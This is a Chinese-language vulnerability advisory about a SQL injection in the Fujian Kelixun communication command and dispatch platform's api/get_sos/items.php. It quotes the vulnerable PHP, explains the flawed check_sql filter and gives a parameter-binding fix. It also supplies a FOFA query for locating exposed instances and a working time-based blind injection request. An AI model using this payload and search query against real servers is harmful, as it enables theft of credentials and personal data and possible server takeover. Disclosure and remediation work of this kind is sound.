漏洞简介
福建科立讯通信指挥调度管理平台是一个专门针对通信行业的管理平台。福建科立讯通信指挥调度管理平台 api/get_sos/items.php 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
body="指挥调度管理平台"
漏洞分析
api/get_sos/items.php 文件内容如下
<?php
require_once "../../includes/require.php";
require_once "init_inc.php";
// sostype 1:断电报警 2:关机报警,3:拆除报警 5:通话报警
foreach ($result as $key => &$value) {
$value['sostype']=get_type($value['sostype']);
}
$data['item']=$result;
$data['page']['total']=$num_rows;
$data['page']['page']=$page;
$data['page']['limit']=$limit;
$header['code'] = "1";
$header['msg'] = "处理成功";
$r['header'] = $header;
$r['data'] = $data;
echo json_encode($r);die;
?>
$result 来自 api/get_sos/init_inc.php文件,其中业务逻辑实现如下
<?php
require_once "../../includes/require.php";
// http://123.57.6.84/api/client/get_sos.php?usernumber=126×tamp=100&sign=987f1883a97c5bc239ff4b353c2793db
//安全验证参数
$usernumber = $_REQUEST['usernumber']; //126
$timestamp = $_REQUEST['timestamp']; //100
$sign = $_REQUEST['sign']; //987f1883a97c5bc239ff4b353c2793db
$page = check_str($_REQUEST['page'])?check_str($_REQUEST['page']):0;
if(empty($usernumber) || empty($timestamp) || empty($sign)){
$_res = '{"header":{"code":"-1", "msg":"invalid params"}}';
echo $_res;
exit();
}
$enterprise_uuid = check_str($_REQUEST["enterprise_uuid"]);
//安全验证
$_sql = "select usr_password, usr_type from local_users where usr_operation<>'delete' and usr_number = '".$usernumber."' limit 1";
$_usr_password = "";
$statement = $db->prepare(check_sql($_sql));
$statement->execute();
$result = $statement->fetchAll(PDO::FETCH_ASSOC);
if ($result != null) {
$_usr_password = $result[0]['usr_password']; //123456
} else {
$_res = '{"code":"-1", "msg":"user not found"}';
echo $_res ;
exit();
}
usernumber 直接拼接进SQL语句中执行,虽然经过了 check_sql 函数
if (!function_exists('check_sql')) {
function check_sql($string) {
return trim($string); //remove white space
}
}
可以看到此函数仅仅是去除空白,无任何过滤。
虽然最终执行的时候使用了 pdo.prepare 方法预处理执行SQL,但是没有使用参数绑定传参,而是直接将$_REQUEST['usernumber'] 直接被嵌入到 SQL 查询中,而没有经过任何过滤或转义,然后执行拼接后的SQL语句,等于卵用,最终造成SQL注入漏洞。
以下是修改后的安全传参方式
$usernumber = $_REQUEST['usernumber'];
$_sql = "SELECT usr_password, usr_type FROM local_users WHERE usr_operation <> 'delete' AND usr_number = :usernumber LIMIT 1";
$statement = $db->prepare($_sql);
$statement->bindParam(':usernumber', $usernumber, PDO::PARAM_STR); // 绑定参数
$statement->execute();
$result = $statement->fetchAll(PDO::FETCH_ASSOC);
漏洞复现
POC
GET /api/get_sos/items.php?sign=2×tamp=1&usernumber=1'XOR(if(now()=sysdate(),SLEEP(5),0))XOR'A HTTP/1.1
Host: test.mrxn.net

成功延时 5 秒

